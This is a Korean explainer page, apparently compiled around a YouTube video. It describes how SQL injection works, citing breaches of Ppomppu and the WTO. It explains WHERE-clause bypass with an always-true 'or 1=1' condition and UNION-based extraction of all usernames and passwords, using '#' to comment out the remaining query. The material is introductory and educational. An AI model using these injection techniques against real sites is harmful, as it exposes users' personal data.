뿜뿌 사이트가 해킹 되어 190만의 회원정보가 유출

· 2015년 어나니머스 WTO 해킹

유명한 해킹그룹인 어나니머스가 WTO 세계무역기구의 한 사이트를 SQL 인젝션 공격으로 해킹하여 수천 명의 각국 재직자 정보를 유출

두 가지의 기본적인 SQL 인젝션 공격을 살펴 보자.

WHERE 구문을 이용한 SQL 인젝션

첫 번째는 WHERE 구문을 이용하여 공격하는 예다. ID가 1인 사용자 정보를 요청한다고 생각 해보자. 요청을 받으면 웹 애플리케이션은 내부에 있는 데이터베이스로 그림과 같은 SQL 쿼리문을 전송하게 된다. 이 때 쿼리문 안에 WHERE라는 조건문이 있고 사용자가 입력한 ID값 1이 조건으로 입력 된다.

오른쪽의 쿼리문 뜻은 ID가 1인 경우 users라는 사용자 테이블에서 이름과 이메일을 가져오라는 뜻이다.

이 쿼리가 실행이 되면 DB에서 ID가 1인 사용자정보가 웹 애플리케이션을 통해 클라이언트 까지 전달된다. 이 때 해커는 1 뒤에다가 SQL 쿼리문을 조작하기 위해 밑의 그림처럼 입력한다.

이 값이 그대로 쿼리문으로 들어갔을 때, WHERE 조건문을 보면 중간에 ‘or’ 키워드로 인해 ID가 1이거나 뒤의 조건인 1=1 인 항상 참이되는 구문이 삽입된다.

결국 WHERE 구문이 우회되고 모든 사용자의 개인정보가 리턴 된다.

UNION 구문을 이용한 SQL 인젝션

두번 째로 UNION을 사용하는 경우이다.

위의 상황과 동일한 상황이다.

해커는 이번에는 or 이라는 구문 대신 union 키워드를 삽입하고 뒤에 패스워드를 요청하는 select 구문을 삽입 한다. 이렇게 되면 다음과 같은 SQL 쿼리문이 구성 된다. union을 사이에 두고 select 구문 두 개가 위치하게 되었다.

union은 합집합으로 두 개의 select 구문 모두를 포함 시키는 키워드이다. 따라서 이 경우는 원래 실행되어야 하는 ID가 1인 사용자 정보 이외에도 뒤의 select 구문의 결과를 같이 포함하게 되는데 뒤의 구문은 WHERE 조건문이 없기 때문에 모든 사용자의 이름과 비밀번호가 리턴된다. 끝에 #이 삽입 되었는데 #은 mysql에서 #뒤에 오는 내용을 주석처리 할 때 사용한다. 이것은 혹시 뒤에 있을지 모르는 다른 sql 쿼리문은 생략시키고 항상 해커가 원하는 결과만 얻을 수 있도록 사용하기 위함이다.

이러한 방식으로 UNION을 이용하면 데이터베이스에 다른 테이블도 접근할 수 있고 모든 정보를 빼낼 수 있다.

반응형

키워드에 대한 정보 웹 사이트 db 해킹

다음은 Bing에서 웹 사이트 db 해킹 주제에 대한 검색 결과입니다. 필요한 경우 더 읽을 수 있습니다.

이 기사는 인터넷의 다양한 출처에서 편집되었습니다. 이 기사가 유용했기를 바랍니다. 이 기사가 유용하다고 생각되면 공유하십시오. 매우 감사합니다!

사람들이 주제에 대해 자주 검색하는 키워드 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다

  • 해킹 기초
  • 해킹 입문
  • 웹 해킹
  • SQLi
  • SQL 인젝션
  • DB해킹
  • DB탈취
  • 계정 탈취
  • 개인정보유출
  • 해킹 공격
  • 해킹 개념
  • SQL 인젝션 개념

7분으로 #SQL인젝션을 #이해하자 #| #DB가 #털리는 #과정 #| #개인 #정보는 #이렇게 #유출된다


YouTube에서 웹 사이트 db 해킹 주제의 다른 동영상 보기

주제에 대한 기사를 시청해 주셔서 감사합니다 7분으로 SQL인젝션을 이해하자 | DB가 털리는 과정 | 개인 정보는 이렇게 유출된다 | 웹 사이트 db 해킹, 이 기사가 유용하다고 생각되면 공유하십시오, 매우 감사합니다.

See also  백석 대학교 상담 대학원 | 알유심정(51) 백석대학교 상담대학원 소개 및 합격후기 21576 투표 이 답변

Leave a Reply

Your email address will not be published. Required fields are marked *